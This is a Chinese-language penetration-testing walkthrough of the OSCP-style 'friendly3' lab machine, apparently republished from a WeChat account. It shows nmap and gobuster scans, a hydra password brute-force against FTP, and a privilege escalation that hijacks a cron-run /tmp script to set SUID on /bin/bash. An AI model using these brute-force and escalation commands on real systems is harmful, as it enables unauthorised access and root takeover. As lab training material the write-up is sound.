【OSCP】friendly3

OSCP 靶场

靶场介绍

信息收集

主机发现

nmap -sn 192.168.1.0/24

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -p- -T4 192.168.1.60
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-28 04:20 EST
Nmap scan report for 192.168.1.60
Host is up (0.00038s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
80/tcp open  http    nginx 1.22.1
MAC Address: 08:00:27:A0:C2:38 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.70 seconds

目录扫描

┌──(root㉿kali)-[~]
└─# gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.60
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/direc
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.60/index.html           (Status: 200) [Size: 355]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
==========

权限获取

hydra -l juan -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.60

成功登录到ftp ，但是并没有什么可利用的信息，通过账号密码登录ssh

权限提升

下载pspy64 查看执行的进程可以发下定时任务执行了如下脚本

我们查看该脚本内容如下，脚本中会执行a.bash脚本，我们可以篡改脚本实现权限提升即可。

我们在/tmp下创建a.bash 脚本，然后输入如下内容，将bash 添加suid 权限，然后通过bash 进行提权。

nano a.bash

#!/bin/bash
chmod +s /bin/bash

原文始发于微信公众号（贝雷帽SEC）：【OSCP】friendly3